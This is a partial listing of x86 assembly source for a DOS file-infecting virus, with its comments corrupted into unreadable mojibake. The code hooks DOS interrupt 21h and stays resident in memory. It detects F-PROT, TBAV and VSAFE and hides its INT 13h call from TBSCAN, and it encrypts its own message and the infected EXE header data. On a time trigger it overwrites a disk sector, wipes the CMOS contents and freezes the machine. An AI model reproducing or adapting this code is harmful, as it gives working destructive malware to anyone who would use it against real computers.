- mov ds,ax
- mov si,0083h ;
- lds bx,ds:[SI+1] ; SI=0084h
- mov cs:word ptr OldInt21,bx
- mov cs:word ptr OldInt21[2],ds
- mov ds,ax
-
- push cs ; cs=es
- pop es
-
- cli ; CLI,STIƒi ┤e╨aíe »í»a╔Q╖í ╕≈╗í
- mov ds:[SI+3],ES
- mov word ptr ds: [SI+1],offset VirInt21
- sti
-
- Search_RD: ; öa»í »⌐╨ù╨aïí ╢ß╨ü¼ß ╧⌐╢a╨e êtùi╖i ┤i┤aÉàöa.
- xor si,si
- mov ds,ES:PSP1
- nop
- mov ds,ds:[002ch] ; »⌐╨ù»í╟Ñ ╠a╖⌐╖ü ╖íƒq╖i ┤i┤aÉàöa.
- nop
-
- Search_RD_LOOP:
- cmp word ptr DS:[SI],0000 ; ╠a╖⌐╖íƒq╕σ╡Aôe 0000╖íöa.
- nop ; ╤┼ëw ºi£Γ ªüªà╖i Ñí£a!
- jz Get_FileName ; PSP:[002Ch] --> ¡Aïaáσ╦a
- nop
- inc si
- jmp Search_RD_LOOP
-
- Get_FileName:
- mov dx,si
- add dx,+04 ; ╤e╕ü »⌐╨ùûAôe ╠a╖⌐╖íƒq
- mov ax,004Bh ; ╢Ñ£ü ╠a╖⌐ »⌐╨ù
- mov bx,offset ENV_BLOCK ;
- xchg ah,al ;
- pushf
- call dword ptr cs:[OldInt21] ; ╤í┬ë ╗b »⌐╨ù╥ü öa»í ò⌐┤a╡Ñöa.
-
- nop
- mov al,49h ; íAííƒí╡A¼ß ╣Aêß
- push ds
- pop es
- call callInt21
- nop
-
- NOP ; ªü╕b╢w ªüªà
- mov ah,2ch ; »íêe ┤i┤aÉüïí
- int 21h
- cmp cl,05h ; 05ªà ╖Ñêa?
- jz Kill_Disk
- ReMain: mov al,31h ; £æ╡A ¼w║ü╨eöa.
- mov dx, PARASIZE
- call callInt21
-
- Kill_Disk:
- Push cs
- pop ds
- push cs
- pop es
-
- call Get_RandomAL ; £àö±╖ü AL êt╖i èü╨eöa.
- and al,02 ; 1/3╖ü ╤┬ƒI
- cmp al,02
- jnz Print_M ; óà╕a ┬ë¥b╖a¥í ╕±╧a
-
- Get_Drive:
- mov ah,19h ; ùa£a╖íºa ┤i┤aÉüïí
- int 21h
- mov dl,al
- cmp dl,02 ; ╨aùa ╖Ñêa?
- jb No_HDD
- add dl,07eh ; C=80h, D=81h
- No_HDD: mov ax,0309h ; Msg1 ªüªà╖í ¼a╢w║ù╖Ñ ùí»a╟a
- mov bx,offset Msg1 ; ╡A ës┴a░ß╗Ñöa.
- mov cx,0001 ; ╠a╦í¡e ªüªàªü╚ß ╠aèAûEöa.
- mov dh,0
- mov byte ptr DS:[INT_13],0CDh ; CD ôe Int ╖íöa. (TBSCAN╡A¼ß ╗Ñöe
- INT_13 DB 00h ; ┤eûAëA╨q)
- DB 13h
-
- Destroy_CMOS: ; CMOS ╖ü òA╖í╚ß êt╖i ííûü ╗í╢íñ߃Ñöa.
- Mov cx,0064
- Doing:
- nop
- mov al,cl
- out 70h,AL ; 70═í╦a¥í òA╖í╚ß ÑíÉæ
- mov AL,0FFh
- out 71h,AL
- loop Doing
-
- Print_M:
- mov si, offset msg1 ; SI=┬ë¥b╨i óà╕a╢ß├í
- Sound: mov bx,008Fh
- Int 09 ; ½ó ¡íƒíƒi Éàöa.
- cld
- lodsb ; DS:SI -> AL
- or al,al ; AL╖í 0╖ííe Å{╖íöa.
- jz Endless_Loop ; ùí»a╟a ╠aèA ₧ü╦Ñ
- mov cx,123 ; ┬ë¥b ¡óòíƒi ôaƒíëA╨eöa.
- Speed_Down:
- loop Speed_Down
- inc cx ; CX=0001
- cmp al,10h
- jb PrtMess ; óà╕a ┬ë¥b
- mov ah,09h
- Int 10h
- PrtMess:
- Mov ah,0Eh
- Int 10h
- Jmp Sound
- Endless_Loop:
- JMP Endless_Loop ; »í»a╔Q ╕≈╗í»í╟íïí
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; EXE ╢Ñ£ü ╕a₧a ┤q╤í╤┴
- ;<><><><><><><><><><><><><><><><><><><><><><>
- EXE_DATA_ENCRY:
- mov Si,offset exe_SS ; SS ªüªàªü╚ß
- mov cx,0010 ; 10 ña╖í╦a
- Ra_Time: mov al,00 ; Éa║ù╡A ALêt ñaı
- nop
- E_loop: inc ax ; INC AX/DEC AX
- nop
- AL_XOR: xor al,70h ; XOR ┤q╤í
- nop
- xor word ptr cs:[SI],AX ; ╢Ñ£ü ╕a₧a ┤q╤í
- inc ah ; AH ╗wêa
- inc si
- nop
- loop e_loop
- RET
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; ña╖í£ß»a ¼w║ü╡aªü ê±¼a
- ;<><><><><><><><><><><><><><><><><><><><><><>
- Chk_Installed:
- CLD
- Push ES
- xor si,si ; F-PROT ╗Ñöe ïíôw ñw╨ü
- AV_F: inc si
- nop
- cmp si,1234h
- jnz AV_F
-
- ChkFSP: mov al,0FFh ; FF0Fh
- mov ah,0Fh
- xchg ah,al ;£æ╡A FSP êa ╣Ñ╕ü╨aôeêa?
- NOP
- int 21h
- cmp ax,0101h ; axêa 0101╖ííe ╣Ñ╕ü.
- jz NoRESinMem ; £æ╡A FSP êa ╣Ñ╕ü╨eöa.
-
- mov ax,3521h ; ES:BX
- NOP
- Int 21h
- cmp word ptr ES:[000Ah],'BT' ; ES:000A ╡A TBDRVX êa ╖╢╖aíe
- jnz ChkVSAFE ; TBAV ╡üñw╢w╖í ╖╢ôeê⌡╖íöa.
- cmp word ptr ES:[000Ch],'RD'
- jz NoRESinMem ; £æ╡A TBAV êa ╣Ñ╕ü╨eöa.
- ChkVSAFE:
- cmp byte ptr ES:[BX],0EAh ; £æ╡A VSAFE êa ╣Ñ╕ü╨eöa.
- jnz ChkVirinM
- cmp word ptr ES:[BX+5],80FBh ;
- jnz ChkVirinM
- jmp NoRESinMem
- ChkVirinM:
- Mov Ah,30h ; AX=0F070h
- add ah,70h ; íAííƒí╡A¼ß ña╖í£ß»a ╣Ñ╕ü ╡aªü
- NOP ; ê±¼a
- mov al,0F0h ;
- xchg ah,al
- Int 21h
- POP ES
- RET
-
- NoRESinMem:
- xor ax,ax ; AXêa 0000╖ííe £æ¼w║ü┤e╨q
- POP ES
- RET
-
-
-
- SetPnt: ; ═í╖Ñ╚ß ╖íò╖
- xor cx,cx
- xor dx,dx
- mov ah,42h
- int 21h
- RET
-
- ;<><><><><><><><><><><><><><><><><><><><><><><>
- ; íA»í╗í ┤q╤í╤┴ (from MacGyver)
- ;<><><><><><><><><><><><><><><><><><><><><><><>
- Msg_Encrypting:
- PUSH AX
- PUSH SI
- PUSH CX
- PUSH DS
-
- push cs ; CS=DS
- pop ds
-
- mov ah,DS:[ME_Data] ; ┤q╤í ╟í
- mov si, offset MEP_start ; ┤q╤í »í╕b╕±
- mov cx, offset MEP_End - MEP_start ; ï⌐╖í
-
- ME_Loop:
- xor byte ptr DS:[SI],AH ; ┤q╤í╤┴
- inc si
- NOP
- NOP
- loop ME_Loop
-
- POP DS
- POP CX
- POP SI
- POP AX
- RET
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; òA╖í╚ß
- ;<><><><><><><><><><><><><><><><><><><><><><>
- Com_size DW 00ffh ; COM ╠a╖⌐╖ü ╟aïí
- ME_Data DB ? ; íA»í╗í╡A ¼a╢wûE ┤q╤í╤┴ ╟íêt
-
- ; ╕ü»⌐╨ù╖i ╢ß╨e ºi£Γ
- ENV_BLOCK DW ? ; ╕ü»⌐╨ù╢w ºi£Γ
- DW 80h ;
- PSP1 DW ?
- DW 5ch ;
- PSP2 DW ?
- DW 6ch ;
- PSP3 DW ?
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; «à«ü╨e ╠a╖⌐ ╖íƒq »í╕b╕± èü╨aïí
- ;<><><><><><><><><><><><><><><><><><><><><><>
-
- Get_FstName:
- Push cs
- pop es
- mov si,dx ; ╠a╖⌐ ╖íƒq »í╕b
- mov cs:[FN_Start],dx ;
-
- RealFN_LOOP:
- lodsb ; DS:SI -> AL
- or al,al ; ╠a╖⌐ Å{╖Ñêa?
- jz Chk4BNow
- cmp al,'\' ; ùí¥B╔íƒí èüÑi╖Ñêa?
- jz SaveSI
- cmp al,':' ; ùa£a╖íºa èüÑi
- jnz RealFN_LOOP
- SaveSI: mov cs:[FN_Start],si ; êt╖i ╕ß╕w
- jmp RealFN_LOOP
- Chk4BNow:
- RET
-
-
- NOP
- Mul200 DW 200h ; EXE ëü¼e╨iÿü ¼a╢wûQ
- Active DB ? ; ña╖í£ß»a ╤╔ò╖
- Exe_AX DW ? ; EXE ╠a╖⌐╖ü AX êt ╕ß╕w
- NOP
- Exe_SS DW ? ; EXE ╠a╖⌐╖ü »a╚é
- Exe_SP DW ? ; »a╚é╖ü ¡Aïaáσ╦a
- NOP
- NOP
- Exe_IP DW ? ; ip êt
- Exe_CS DW ? ; CS êt
- Nop
- nop
- End_VirusCOM: ; COM ╡A êq╡q ûAôe ï⌐╖í
- MOV AX,4C00h ; ┬A┴í »⌐╨ù»í ╕≈¼w╕Γ╖a¥í Å{ÉaëA ╨q
- Int 21h
-
- DB 48 DUP (00h) ; »a╚é êt
- End_Virus: ; ña╖í£ß»a╖ü Å{
-
- ; £æ╡A¼ßáe ¼a╢wûEôe êtùi
- Buffer4F DB 66h dup (?) ; ╠a╖⌐╖ü Éü╢w
- FileTime DW ? ; ╠a╖⌐╖ü »íêe
- FileSize DD ? ; EXE ╠a╖⌐╖i êq╡q»í╟⌐ÿü ¼a╢w
- FN_Start DW ? ; ╠a╖⌐ ╖íƒq »í╕b╕±
- DosDTA DD ? ; ╢Ñ£ü╖ü DTA êt
- NEtype DW ? ; NE ╚a╖│╖ü EXE ê±¼a
- F_AVDF DB ? ; ñé»Ñ╡A¼ß ¼a╢w╨aôe ╠a╖⌐╖Ñêa?
- F_Execute DB ? ; íyñσ »⌐╨ùûA┤÷Éa?
- End_Memory: ; ╕σ┴A ña╖í£ß»a╖ü ï⌐╖í
-
- VIRUS ENDS
- END ENTRY
-